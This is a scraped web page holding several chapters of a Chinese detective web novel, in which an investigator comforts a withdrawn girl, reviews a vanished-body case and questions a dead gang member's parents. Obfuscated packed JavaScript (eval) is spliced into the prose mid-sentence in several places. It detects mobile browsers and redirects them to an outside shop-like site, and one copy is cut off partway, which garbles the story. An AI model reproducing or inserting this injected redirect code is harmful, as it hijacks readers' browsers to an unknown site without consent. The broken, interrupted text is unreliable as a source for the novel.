植物被养得很好,青绿漂亮,叶片比她买来时伸展开来了些,像个正在窜个子的孩童。 她转头看向申天诺,笑眼里映着半扇白莹莹的窗户,显得格外有神,有股不符合她气质的开朗。 “我之前说过,这是喜阴的植物,不需要晒太阳,”燕逸岫伸出另一边手按在申天诺脑袋上轻轻抚摸几下,声音温和,“你也是,我们也是。” “内向的人、社恐的人也是喜阴的植物,阳光暴晒会使之枯萎。” 人们养了喜阴的植物,都会小心呵护,尊重、依循它们的习性,把它们放在阴凉处避开日晒,生怕它们受伤害。 可面对喜阴的同类,大多数人却总是要强迫她们,推着逼着她们来到阳光下,看她们被烈日灼烧至蜷缩落泪,还觉得是在为她们好。 说着关爱至深至切,却又不在意那刺目阳光会晒得人心千疮百孔,留下一个个无法愈合的焦黑伤洞。 “我们可以不晒太阳的。”燕逸岫斩钉截铁地重复了一遍。 “如果有人逼迫你,你告诉我,我来解决清楚。” “你现在还小,很多事情身不由己,很正常,年纪小还没法完全独立,而我已经熬到长大成年了,我可以走我想走的路,也有能力帮你们。” “我会帮你挡住太阳。” “我在这儿,你可以按照自己适应的方式生活长大,这是你的权利和自由。” 这是每个人的权利和自由。 申天诺缓慢睁大眼睛凝视眼前的高大身影,一动不动,内心却在地震摇撼,震得浑身血液荡开涟漪,一圈圈推至心脏。 有过相同经历,才懂得那种无法言说的痛与迷惘,才真正明白她们这类人需要的是什么。 申天诺当然知道自己不可能一辈子躲在她的庇护下生活,总有一天她要学会自己独立面对。 但对于现在茕茕孑立的她而言,这些话可谓是雪中送炭,烧起的热气融化了让她发抖的满心冰刺。 多日的郁结终于消散,申天诺抿紧嘴唇,泪水如汇聚的道道海浪拍打眼眶,汹涌溢出。 她想问,姐姐,你是自己想通的吗?以前有人像你对我这样保护你吗? 你经历过多少次彷徨才能将自己拉扯出来,才学会与施加痛苦的人与事对抗? 你这么多年该有多辛苦? 但申天诺开不了口,她害怕会让燕逸岫重新回忆起好不容易解脱出的噩梦,也害怕自己说出来像某种侥幸的同情和怜悯。 她只能紧紧抓住燕逸岫的手指,分不清是想从她那儿汲取力量还是想向她传递自己那微弱的力量做些什么。 燕逸岫本意并不是要惹她哭,没料到她的反应会这么大,顿时大脑宕机,左右张望没瞧见纸巾,只好放下绿植弯腰凑近用手背为她擦拭脸颊。 见她哭得一时半会儿止不住,于是燕逸岫半蹲将申天诺搂进怀里拍着背无声安抚。 相拥的温暖也让燕逸岫眼眶发酸。 她闭上眼,恍惚间觉得在拥抱小时候的自己。 既然有能送她穿越新世界的神奇能力,会不会有另一种系统能送她回到过去,哪怕一分钟也好。 她也很想打开衣柜找到蜷缩在角落的小小的自己,把她抱在怀里,告诉她…… 没关系的,自己最重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14222889|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要,不喜欢的事情我们就不去做。 你一直坚持着,已经很厉害了,你的坚持和保护才塑造了今天的我。 往后的路就由我继续摸索。 我只希望你不再流泪,每一夜都能好好睡觉。 燕逸岫抱着申天诺,直到听见她阿姨的脚步声进入住院部大楼。 “好了,差不多该出发了,东西都收好了吧?” 申天诺用力点头。 “那就好,”燕逸岫笑着为她整理头发,“有什么事及时联系。” “我想给你打电话,可是你好像每天都很忙。” “嗯……有时候确实不太方便接听,这样,你给我发消息,我忙完就给你打过去,好不好?” “好,谢谢姐姐。” 目送申天诺在警方和亲戚的保护下乘车离开后,燕逸岫马上赶往天锦区,与已经到达警局的姜韫见面。 秦观秋中的毒也是没见过的类型,虽然已经用了针对性的药剂解毒,但还是需要留在医院静养观察。 谭誉道是被长匕首形状的凶器刺伤数道,刺破内脏,十分凶险,好在送医及时,也已经脱离生命危险,但没那么快能够恢复。 手枪威力不比狙击枪,因此姜韫伤情不算重,恢复得好就能自由活动。 今天是交易到期的日子,姜韫自然坐不住,她做了不会剧烈活动的保证,让医生帮她重新上药包扎好,早早出发来到警局等着彭嵘。 燕逸岫到达后不久,彭嵘被便衣警察带着从电梯里走出来。 人逢喜事精神爽,她梳着高高的马尾,容光焕发,瞥见燕逸岫等人后更是噙着笑加快脚步朝她们靠近。 不像是与抓住自己的敌人见面,而像和认识多年的老朋友相聚。 “确定她真的一个月都没有和某人有过可疑接触吗?”姜韫别开脸问道,不让彭嵘眼尖分析出自己说话的内容。 安竹也低声回答:“没有。” 燕逸岫抱起双臂,努力保持着面无表情,心里多少还是觉得不甘心,因为廖怀霖那儿也没通过网络查到她的异常举动。 难道真就是她们运气不好没碰上反派出现? 思索之时,一道阴影覆上眼前。彭嵘在一步远的距离站定。 她的视线在每个人身上掠过,最后落在燕逸岫脸庞打量一圈,像是在观察她有没有瘦了。 “恭喜你,”姜韫迅速切换情绪,流露出真心的赞赏,“听说你带的小组拿了全国竞赛第一名。” “谢谢,在我预料之内,毕竟是我擅长的科目。”彭嵘也回以一笑,神情透着几分傲气,不在她们面前谦虚什么。 姜韫示意她进屋:“我们先聊聊,技术人员已经在路上了,结束后她会帮你解除电子监视手铐。” 因为没有太多新线索,这场谈话十几分钟就结束了,技术人员收到指示前来解除手铐。 两三分钟后,彭嵘转着手腕走出询问室。 虽然手铐不是实物,可拘束不比戴着实物少,好不容易解开了便觉得浑身轻松。 “你可以回去了。” 彭嵘似乎并不着急,仍然面对着她们,慢悠悠后退两步,正好走到了阳光洒进来的位置。 “太亏了,是吧?对方整个月都没联系我,你们得不到新线索。” 彭嵘平常说话总是尾音略略上扬,和她的性格倒是很相符,所以燕逸岫不太听得出这段话是不是幸灾乐祸的嘲笑。 “这很正常,他上上次联系我都已经是三个月前的事了,我都快忘记他了。” 闻言,燕逸岫心中忽然一惊,定住了本打算挪开的目光,注视她那被窗外斜刺进来的阳光照成浅金棕色的眼眸。 对方没有什么神色变化,但彭嵘觉得意思已经传达清楚了,便朝她笑了笑。 那双眼睛一眯,睫毛的阴影顺势打下来,将那明亮的金棕琥珀遮黑一半,压出几分阴气。 “下次见。”彭嵘没再多说什么,转身离开,由警员护送前往地下室乘车返回学校。 目送电梯门关闭开始下行后,燕逸岫赶忙看向姜韫,轻声念叨:“三个月前。” 彭嵘在离开前给了最后一次线索,提示她们去查四月发生的案子。 79. 保持尸体完好有什么用 四月的第17案是最特殊的,尸体凭空消失。 监控录像无异常,无目击证人,警方至今没找到尸体。 现场干净整洁,线索几乎为零,难以判断发生过什么。若不是地上画着人们熟悉的图案,否则完全看不出这里是凶案现场。 没有尸体,警方只能凭反派画的血符提取dna与失踪人口数据库对比确认死者身份。 一位姓焦的男性,职业是婚礼司仪。 燕逸岫坐在警局资料室里重读档案,最后才调出焦司仪死亡当天主持最后一场婚礼的视频录像,在打开前先深呼吸几次做好心理准备。 她第一次翻看这部分录像是刚来新世界第三天,距今算是过了挺久,但每回想起那些歹毒的话她就开启痛苦面具,简直称得上刻骨铭心。 好不容易淡忘了,现在又要被迫重温。 燕逸岫视死如归地按下播放键,努力专注心思于找线索这一目标。 一旁的姜韫也没好到哪去,还没听见声音就已经闭上眼开始揉太阳穴。 “今天是二位人生中最重要的一天。” “俗话说嫁出去的女儿泼出去的水。” “面前的姑娘以后会变老变丑变成黄脸婆,到时候你能否如现在这样爱她?” “以后新郎会为了撑起整个家庭有很多不得已的应酬,会情绪不稳定,会陷入低谷,会醉酒痛哭,会夜不归宿……” “你能否永远站在他身边支持他?原谅他犯的错?照顾好孩子和老人为他分忧?” “新娘准备给新郎生几个大胖小子呀?” “新娘要努力孝顺公婆,相夫教子,当个好儿媳,好妈妈,好老婆。” “新郎要努力工作,爬得更高赚更多钱养家,记得存点私房钱方便和兄弟们出去喝酒啊。” “亲一个!亲一个!啊呀新娘害羞了!胆子这么小,怎么在社会立足?以后怎么和新郎这边的家人亲戚朋友相处?” “有什么不好意思的,放开点、欸——好好好!太甜蜜了对不对啊各位来宾?” “哇大家掌声如潮,新郎新娘再吻9秒、10秒!长长久久!十全十美!最好的祝福送给这对新人!” “祝你们早生贵子,三年抱俩!” “新娘最后再看一眼爸爸妈妈吧!” 燕逸岫实在坚持不下去了,狂按暂停,深深吸气低头扶额。 头好痛。 重金求一对没有听过这些主持词的耳朵。 句句踩雷让人冒火,是她这个社恐都忍不住要当场发飙打人的程度。 她甚至怀疑此案是不是女方这边人气不过的报复,事后故意画了婴儿图案伪造成连环杀手犯罪来混淆视听。 当初警方也顺着这一方向仔细调查过,可惜一无所获,这场婚礼上的人都没有嫌疑。 燕逸岫移开手改为托下巴,歪头盯着屏幕上新娘忍到极限的僵硬笑脸思索。 彭嵘和这件案子有什么关联?反派会让彭嵘去做什么? 也和陈奥典案一样引被害人到指定地点吗?还是说派她去处理尸体? 没过多久,从微系统里蹦出的消息解开了她的疑惑。 乔琅拿到案发前后三天的监控寻找彭嵘的身影,系统调取四月的全部监控通过复制重复排查,廖怀霖则深挖这段时间彭嵘的各项网络痕迹记录。 汇总结果表明彭嵘与焦司仪案没有相关牵扯。 但在此案之后半个月的一天她去了趟地下城,反派系统动用复制能力为她隐藏身份不留行踪。 通过这一日期,她们马上锁定了地下城当天发生的案子。 “那天正好有场帮派械斗,死了好些人,炎穆帮也参与其中。” 乔琅将其中几段录像截取出来单独播放。 画面中套着假身份的彭嵘出现在帮派成员附近,假装路人打着电话说了几句,“无意中”让她们听见了。 接着彭嵘继续满街晃悠,依次找到另外两批人。 她在屏幕上捣鼓了一会儿,其中一些帮派成员就低头查看自己的“宙”,而后一群人开始激烈讨论,很快也怒气冲冲离开了。 没过多久,大家狭路相逢开始火拼。 作为地下城帮派之一的首领,彭嵘当然清楚怎么做能轻轻松松挑起冲突,引发事端,为暗杀行动铺垫好不惹人怀疑的环境。 成功开了个好头后,彭嵘逗留于附近,混在人群里观察以便及时处理突发情况。 “这件事确实有个奇怪的地方,”廖怀霖将页面切换到笔录部分,“其中几具尸体的弹孔伤痕有所不同,是从远距离射来的,但被抓起来审讯的这些帮派成员都否认自己这边有人提前埋伏。” 这场争斗在她们自己看来是偶然突发,并非早有预谋,有的人甚至没带手枪,更别说提前安排人蹲守或是特意从现场跑去远处狙击。 如果她们所言属实,就表明其中一人是反派的目标,而剩余几名死者只是倒霉被随机选中作为藏木于林的掩护。 彭嵘提过自己和反派组织里唯一接触过的人是日月,而日月正是狙击手,如此看来两人合作执行任务的没准就是这一天。 “先前的被害人都是由反派亲自杀害,不需要狙击手出动。”视频另一头谭誉道虚弱的声音传来。 姜韫点头:“所以他应该是让彭嵘和日月配合善后,她们处理的可能是某件案子的目击者或者有特殊关联的人。” “接下来仔细查查这几名帮派成员生前是否与……” 姜韫忽然止住话头,停顿片刻后转而问道:“等等,复制替换的只有彭嵘?没有其它被替换的部分?” 系统回答道:“没有。” 这次行动是两人打配合,但却只识别到彭嵘使用了复制替换,没有第二者。 燕逸岫收起支着下巴的胳膊坐直望向系统,也瞬间意识到其中问题。 日月很可能是地下城公民。 这么一来她很少出现的情况也解释得通了,因为受到监管局规矩限制。 如果频繁在非规定时间往返地上地下就容易被监管局盯上,谁知道她们会不会碰巧顺藤摸瓜查出点什么。 燕逸岫一回想,日月去昆隐棋别墅暗杀那次是在傍晚,非地下城人员上地面的时间,查监管局数据记录说不定会有发现。 于是姜韫马上联系向步青,希望她能提供一份6月19日及其前后几天的地下城公民上下通行记录。 很快就有了新消息,但是是从燕逸岫的微系统里弹出的。她收到前去医院复查伤势的卫崧发来的消息。 “逸岫姐,你最近是不是在查一个因脑血管爆裂而去世的人?” “对,怎么了?” 卫崧这会儿被俞殷盯着,也没法破坏仪器中断检测脱身跑去现场,所以只能尽量询问更详细的线索进行转述。 “刚才医院附近有个人突然倒地昏迷,已经送进抢救室了,好像也是脑部出问题,鼻子耳朵流血,感觉和你查的有点相似。” 那几个字让燕逸岫皱起眉头,她飞快打字问道:“具体位置在哪里?” 两三秒后,地点和死者的信息弹出来映入眼帘。看清屏幕上的内容后,燕逸岫顿时错愕,愣在原地。 老乡饭店。 老板丈夫。 是她昨晚才去过的那家饭店,是那个热情的中年男人。 昨晚的一幕幕画面涌回眼前,燕逸岫想起自己看见的那不太正常的满眼红血丝,觉得死亡或许早有预兆。 她居然没有片刻怀疑。 如果她想到这一层,让老板带丈夫去医院做个检查,会不会来得及挽救一条性命? 捎上杨法医一起乘车出发后,燕逸岫反复回忆昨晚的经过,也回忆先前得到的阿彬的详细资料。 尽管法医偷偷进行了解剖,阿彬大脑的问题仍然无法盖棺定论。 她天生血管脆弱,容易病变,加上她常年把酒当水喝,不健康的饮食和作息使得情况不断恶化。 可能是积累已久的恶习影响最后在那一刻爆发,也可能是阿彬那时正好接触到了什么特殊物质,导致血管在刺激之下彻底崩裂。 在没有更多证据的情况下,仍然无法确认是自然还是人为。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“保持尸体完好有什么用?只有搞清楚究竟是怎么回事他才能安息。” 先前有过几回接触,杨法医已经与燕逸岫熟悉不少,这时留意到对方飘来的视线,马上心领神会。 于是她再补充一句:“如果情况特别复杂,我们可能需要更多时间来研究分析,您这边……” 吕何仍然没有犹豫,用力点头。 “我会等真相出来再送他最后一程,”她飞快擦去泪水,将那一直戴在丈夫无名指的戒指慢慢褪下来握在掌心,“在此之前,我有这个就够了。” 她直起身,郑重地注视每一个人的脸:“真的,拜托你们了,谢谢。” 她攥紧丈夫冰冷的手,直至杨法医准备推尸体送去解剖室了才松开,后退几步靠在墙上颤抖着大口呼吸,竭力忍住眼泪。 稍稍平复情绪后吕何就跟随警员大步往外走,最后一道微弱的哽咽只有燕逸岫听得见。 目睹这生离死别的情景,燕逸岫心闷得也想叹气,转过头后突然对上卫崧的眼睛,顿时被吓得一激灵。 太过专心关注吕何,她都忽略了还有个静悄悄站在旁边的人。 “接下来要怎么做?我能帮什么忙?”卫崧挪了一步,抱臂站到她身侧。 “你不是来复查吗?” 卫崧摇摇胳膊甩甩腿,朝她露出笑:“复查结束了,没问题,我好全了,可以尽情使唤我。” 说话时他的眼神也亮亮的,一副终于摆脱拘束准备大展身手的模样。 燕逸岫顺势扫了一眼,见他动作流畅自然不似作假,便点点头迈步往前走:“那你去问问队长有什么任务安排,这不是我来决定的事。” “好,”卫崧立马跟上,“那你去哪儿?” “我要去趟地下城,你跟着杨法医一起回警局吧,队长还在局里。” 说完后燕逸岫又让系统调出饭店这几天的监控交给乔琅。 得仔细研究研究吕何丈夫这几天的活动和接触过的人。 80. 火与灰烬 周末的地下城和地上差不多,比平日更热闹。酒吧震耳欲聋的音乐沿着整条街震动跳跃。 燕逸岫看了眼时间确认现在还是白天。 不过地下城没有白天,是真正的“永夜城”,酒吧更是24小时营业,狂欢不休。 听着从酒吧里震出的摇滚音乐,燕逸岫的脚步也随节奏越来越快,都快踮脚蹦起来了,直到音乐声远了才回到自己原本的速度。 最后她比预期早了五分钟到达目的地。 因为日期相近,她们先假设反派除掉的帮派成员是司仪案的相关人,将时间范围缩小后筛出两名曾在这期间去过地上的死者。 燕逸岫现在就站在其中一人的家门前,暗自深呼吸调整好情绪,开始今天的表演。 她顶着满脸的忧虑在外围迟疑徘徊,几度走到门前却又后退继续犹豫。 等了两三分钟,燕逸岫听到脚步声靠近。 终于有人发现她了。燕逸岫稳定住表情和情绪,飞速过一遍腹稿做准备,信心满满。 “你好,请问有什么需要帮忙的吗?” 燕逸岫像是被吓到,慌张回头,待看清面前女生的脸庞后,原本准备好的话忽然卡在喉咙里。 怎么觉得她有点眼熟? 燕逸岫一时半会想不起是在哪见过,直到另一道声音从背后传来。 “小倪,发生什么事了?” 这回是真熟悉的了。燕逸岫神色僵硬片刻,杵在那儿没有回头,默默思考着要怎么应付以及这突发状况会不会对计划有影响。 她记起来了,这位女生也是监管局的,之前自己和虞瓷一起被向步青拦下时她就站在后面。 其实光瞧背影严睢就已经认出人来了,这会儿故意假装没发现,边走边开口询问,一步步来到队友身边,站到燕逸岫面前。 “啊,又、是、你。” 燕逸岫也一副刚认出对方的模样,眯起眼笑得格外阳光,俨然已经把他当成老朋友。 “好巧啊,严长官。” “出什么事了?”严睢神色毫无波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272371|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,并不理会她,而是扭头直接问队友。 “我见她一直在这里晃悠,好像有什么急事但不敢去的样子,就过来问问情况。” 急事?不敢去?严睢朝燕逸岫瞥去意味不明的一记眼神,收回目光继续和队友说话。 “你快回家吧,轮完班赶紧去休息,这边我来处理就行。” 他总觉得燕逸岫又要搞什么名堂惹事,还是他自己跟着盯着更放心。 “我是好人,严长官,别防贼似的盯着我啊……”燕逸岫缩肩,驾轻就熟地露出畏怯的模样,脸上倒是严肃认真。 严睢目送队友走远,努力克制住冷笑:“那你倒是说说你要干什么。” 虽然事情不是燕逸岫预想的展开,但其实只要是个人能当帮手和见证人就行,只不过利用严睢得更小心点。 于是她一拍手,满脸“您来巧了”的表情:“地虎帮的阿奇,严长官晓得吧?” “晓……”严睢被带得差点顺口说出来,赶紧清清嗓子瞪了她一眼,“我知道。” 81. 火与灰烬(二) 燕逸岫点头,叹声气迫不及待地开始大吐苦水。 “几个月前我倒霉被阿奇他们抢劫过,别的就算了,阿奇抢走了长辈留给我的遗物,一个开过光的戒指,虽然不值多少钱但对我来说是无价珍宝。” “丢的只是个普通的戒指,不是金子没有宝石,警局和监管局都不会理睬的,我只能自己想办法,” “我对这里不熟悉,工作又忙,没办法一直跑地下城,只能等有空了才下来晃几圈,所以进展很慢。” “最近我费劲周折结识了同为帮派成员的阿七,也是为了借她的人脉帮我找到抢劫犯。” 说到这儿,燕逸岫浮现出烦躁神情,手指穿进发间把刘海往上胡乱梳几下:“好不容易找着了,没想到那人已经过世了。” “我不想放弃,所以打算请他父母帮忙找找家里有没有戒指,或打听打听他那几天都去了哪里,看能不能找回我的东西。” 感觉上来了就越说越流畅,越说越有感情。燕逸岫一口气讲完情况和原因,自信满满,与严睢对视的眼神都更真挚了。 又在骗他,真是怪不好意思的。 姜韫强调这条线仍然保密,需要隐藏身份调查,在接触尚浅的情况下不能为了尽快得到线索而对向步青透露过多我方信息。 严睢似乎在研究她的话做判断,过了好几秒才动弹。 他飞速眨了下眼并顺势移开目光,一声毫无感情的“嗯”从他喉咙里跳出。 燕逸岫分辨不出他信没信,于是硬着头皮继续用热切的眼神凝望他来证明自己。 “那你去按铃吧,我现在正好有空,留这看看情况。” “好好好,严长官在我就更安心了。”燕逸岫颇为惊喜地笑两声,冲到阿奇家门口按铃,假装十分庆幸有他陪同。 听清两人来意后,出来应门的阿奇父母脸色更差。两人取下叼在嘴里的烟往墙上摁几下掐灭,开始一顿输出。 “什么?我儿子抢了你的东西?” “他是个好孩子,哪里会去抢劫?都是被你们这些混子带坏了!” “我儿子死得那么惨,都过多久了,居然还来讨什么东西,谁知道是不是来骗钱的?” 两人刻薄的目光在燕逸岫身上刮了几道,冷笑着继续破口大骂。 “窝窝囊囊的看着就没出息,只敢到我这来撒气,是不是胆子小不敢去跟活人对付,觉得别人的钱不好骗,才跑这来欺负我们两个死了儿子的老人!” “哪来的脸?窝囊废也就这点小算计了,被抢也是活该!” “要我说你真该感谢抢劫你的人帮你长长教训,你说你这死样怎么在地下城混?迟早被人打死……” 滔滔不绝,骂得那叫一个难听,焦黄的手指一直指着燕逸岫,几乎快戳中她鼻尖。 即便难闻的烟味冲到面前,燕逸岫仍然垂着眼帘凝固般站在原地不动,孤零零的,视线偏向左下方正失神想着什么,好似只沉浸在自己的世界里。 严睢在监管局工作多年,逮过无数骗子,自认为识人本事不输专家,现在他余光凝在燕逸岫身上,觉得她可怜无助的模样实在不是作假。 她低着头,那短发帘子般垂下遮挡侧脸,一丝缝隙都不露。 从头到脚都是黑色,周身气场也变得阴阴的,好似有什么焚烧殆尽的残屑轻飘飘落下,铺了一层又一层将她淹没,与外界隔绝。 严睢站在这一位置看不见她表情如何,不禁心生烦躁,怎么深呼吸都觉得胸口发闷。 ……她会不会在哭? 他开始后悔没有第一时间就制止那两人嚷嚷。他不该趁此机会借伤人心的话来试探和观察燕逸岫,让她平白遭受这样的委屈和羞辱。 明明她才是占理的一方,她只是想拿回属于自己的东西而已。 严睢挥开混乱思绪,猛地迈一大步往前靠近阿奇父母。 屋檐的深黑阴影大面积笼罩下来,使他的神色更凶煞。 再搭上这身监管局制服,那两人瞬间被威慑住,不情不愿噤了声,浑浊眼珠子在他和燕逸岫之间转了几回。 “积点口德。”他冷冷说道。 阿奇父亲梗着脖子忍不住继续愤懑嘟囔:“本来就是……” 见对方还敢抬杠,严睢拧眉直接打断他的话,劈头盖脸一顿厉喝凶回去:“到底谁骗谁?你说那些话你自己不觉得可笑吗?” “你觉得你嘴上说说的可信还是监管局的执法记录仪可信?” “要不要我把你儿子档案里违法犯罪的视频全部摆出来给你看看?看看是谁拿刀拿枪是谁寻衅滋事扰乱公共秩序?” “你儿子参与抢劫的次数我有三双手都数不过来,你还好意思说他清白无辜?还敢理直气壮地骂人诅咒人?” “让你们交代就老实交代清楚,呼呼喝喝什么,当我是摆设吗?要不要我请你们回监管局喝杯茶,仔细清算你儿子这么多年闹事该赔的钱?” 一提到钱,阿奇父母彻底没了气势,缩回脖子偷偷对视一眼不再吭声。 儿子已经去世,再为他收拾烂摊子多花钱显然太不值当。 见两人总算不闹腾了,严睢缓和神色瞥向侧后方的人,这回终于看清了她的表情。 “你要问什么?问吧。” 燕逸岫缓慢抬起头,原本掩在刘海里的双眼重新露出。 瞳孔上映着的两点明亮是灯光,不是泪光。严睢这才觉得心口的压抑减轻了些,默然收回视线。 燕逸岫也往前一步站到严睢身旁,仿佛瞬间忘记了刚才的不愉快,依然保持着温和的表情和语气将编好的那番说辞重复一遍。 阿奇父母认命似的返回屋里翻个底朝天,找出几枚旧戒指让燕逸岫辨认。 金戒指和成色好的银戒指大概都被卖掉换钱了,只剩这几个没人看得上的被阿奇扔在家里吃灰。 但再磕碜也是别人重视的东西。严睢怒目而视,懒得再多说什么,接过这些赃物准备带回局里记录存档,发布失物认领。 燕逸岫目光在严睢掌心转了两圈,失望地摇摇头:“不在这里面。” “没事,再问问。”严睢轻声应了句,三两下将戒指装进证物袋里保管好。 于是燕逸岫问起阿奇四月中旬的行程。 “我们哪知道啊,阿奇那小子基本只在家吃饭睡觉,成天不见踪影,他原本是个好孩子,都是因为搬到地下城后被那群社会毒瘤带坏了,我就说……” “那他提过吗?”严睢及时打断,没心情听《以前是好孩子》这套陈词滥调,“认真点想,别浪费我的时间。” 燕逸岫适时补上一句:“有没有提过什么比较特别的人和事?方便我继续往下找。” 阿奇父母先凑在一起小声嘀咕,核对各自印象里的事,好一会儿才对燕逸岫和严睢说出了两个日期。 “一次是他说赚了一笔够他玩几个月的钱,我们怎么追问他都不肯说钱哪来的,害我们提心吊胆好久,就怕是闹出人命的事。” “另一天他半夜才回地下城,莫名其妙不知道在兴奋什么,说看到了奇怪的人,还说自己要干大事名垂青史,神神叨叨的在那发酒疯。” 第二段话让燕逸岫立刻警觉。 日期是焦司仪案当天,时间也吻合。 这就奇怪了,阿奇芯片里的定位行踪并没有这一天的记录。 “日期没记错吧?还有吗?麻烦再想想还有没有别的事。”燕逸岫稍稍往前倾身,摆出一脸焦急,着重强调后半句。 那两人都说没记错,因为一次是4月4号,一次是15号,都是很好记的日子,至于别的事…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294834|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿奇父母点起烟开始费劲回想。 得到了想要的答案,燕逸岫嫌弃地后退两步躲开熏人的烟味,神情有些凝重。 阿奇可能目击到反派了。 干大事名垂青史?是打算自己抓凶手还是想要入伙一起犯罪? 不管哪种都是找死,也不知道阿奇哪来的自信,觉得潜逃多年的连环杀手会被他一个普普通通的目击者拿捏。 又过了十几分钟,燕逸岫和严睢总算结束询问放过她们,于是阿奇父母送瘟神似的赶忙关紧大门躲回屋里。 严睢开始清点赃物,依次收入证物袋归类齐整。燕逸岫打听她想要的线索,他也正好催促阿奇父母交出更多赃物。 明明心里门清,知道哪些是赃物,还敢理直气壮把自己儿子说得像被迫犯罪。 趁着严睢背对自己的工夫,燕逸岫抬起双手来回揉搓眼睛和脸颊,让脸部肌肉放松下来。 看起来自己的演技成功骗过严睢了。 她可是把这辈子的伤心事破防事都翻出来回忆,虽然还没沉浸多久严睢就出面了。 她不敢自诩演技达到能逃过专家法眼的出神入化境地,但糊弄一般人还是足够的。 这都是一年年练出来的。社恐若是没点演技真没法从可怕的社交场合逃离解脱回到自己的世界。 至于阿奇父母的话她并没往心上去,类似的责骂她从小到大不知道听过多少回了,翻来覆去都那样,没点新意,自己早就免疫了。 阿奇父母关上门后,门外又只剩下她们两人了。 两人都不吭声,只有刺耳的鸣笛喇叭时不时从不同方向冒出来,演奏滑稽的背景音乐。 严睢紧抿着唇。 他觉得自己该为刚才那残忍的猜忌和故意忽视道歉,可又不愿对这个并不熟悉也探不出底细的怪人低头。 内心挣扎半天,最后他一皱眉,语气比表情更冷硬:“被骂了怎么不还口?你上次打群架不是挺能耐吗?” 话一出口他就后悔了,可觉得自己好像也说不出更软的话,只能埋头加快速度整理证物袋,暗自懊恼。 燕逸岫不好意思地笑了笑别开脸:“色厉内荏而已啊,就是因为胆子小才假装很凶,打群架练练胆子。” “表现得好,帮派老大觉得有用才会接纳我,我才有更多途径找戒指。” “那怎么不去参与监管局人才选拔?成为监管者和管理者抓罪犯执行正义照样能练胆。” 燕逸岫立刻回答:“想考但是考不进啊,现在不都是靠关系嘛,我可没背景。” 严睢一愣,随后也沉默下来。 她说得没错。 他入职那年还是通过考试和体能测试公平竞争,但是现在都是关系户被塞进来占着好职位,没几个有真本事。 这就导致很多重要事务还是由老员工负责收拾烂摊子,她们被迫加了很多班,还没有加班费补贴。 “那也不能堕落到掺和进乱七八糟的帮派里。” 严睢略过这段心累经历,不打算在她面前提:“你知道了阿奇因为参与群架中弹身亡,就该识趣离这些麻烦远远的,否则万一哪天也倒了霉,怎么死的都不知道。” 燕逸岫抬手捂嘴,动作夸张,感动地眼冒星星:“严长官是在关心我吗?天呐,您真是大好人。” “谁……”严睢顿时恼羞成怒,霍然转身,背后的长发甩得像条炸毛的尾巴。 他正要训斥几句,却又被自说自话的燕逸岫打断。 “我也知道危险,等找回戒指我就不会和这些人打交道了,我只想拿回长辈留给我的东西。” 这会儿再继续说完刚才的话又显得自己超在意,严睢的反驳被堵在喉咙不上不下,憋屈得几乎两眼发黑。 这个人简直就是来给他添堵的,犯冲。 82. 装e装e再装e “好了好了我该去找阿奇的同伙打听了,不说这些了,得抓紧时间。” 注意到他脸色不好,燕逸岫连忙嘿嘿笑着转移话题。 两人一起出发去找从群架里幸存下来的阿奇的同伴打听。 这一趟则是熟悉帮派活动规律的严睢主动带路。他知道这群人平常会干什么,会去什么地方集合。 他只想早点解决完这件事,赶紧送走这个让他肝郁加重的麻烦精。 燕逸岫慢一步跟在他后面,目光落在那在背后微微晃动的长发上打发时间。 今天她又闻到了那股隐隐约约的糖味,比先前浓了些。不过她不敢再贸然开口打探,以免对方有所警觉而销毁证据。 与此同时,转移到新基地的乔琅、廖怀霖和卫崧正在看老乡饭店昨晚的店内监控。 乔琅将画面往回倒,指了指为燕逸岫送餐的机器人:“盘子上的小盒子是什么?怎么没见其她人有。” 卫崧忙回答:“是个玩偶,这家店会给新顾客送小礼物,逸岫姐说她放家里了,明天会把玩偶带过来检测。” 乔琅调出厨房监控搜寻,发现小礼物是机器人从仓库里取出来的,老板和老板丈夫都没有接触。 “警方的检测报告证实店内没有任何毒物,监控里也没找到有人和死者近距离接触,那他奇怪的猝死到底是怎么回事?难道真是突发疾病?” 视频飞速往前走,即将播放结束。 画面中本在和吃饭的顾客聊天的老板丈夫忽然毫无征兆直挺挺倒地,脑袋左右晃动着,神色扭曲一瞬就恢复正常,闭上眼晕死过去。 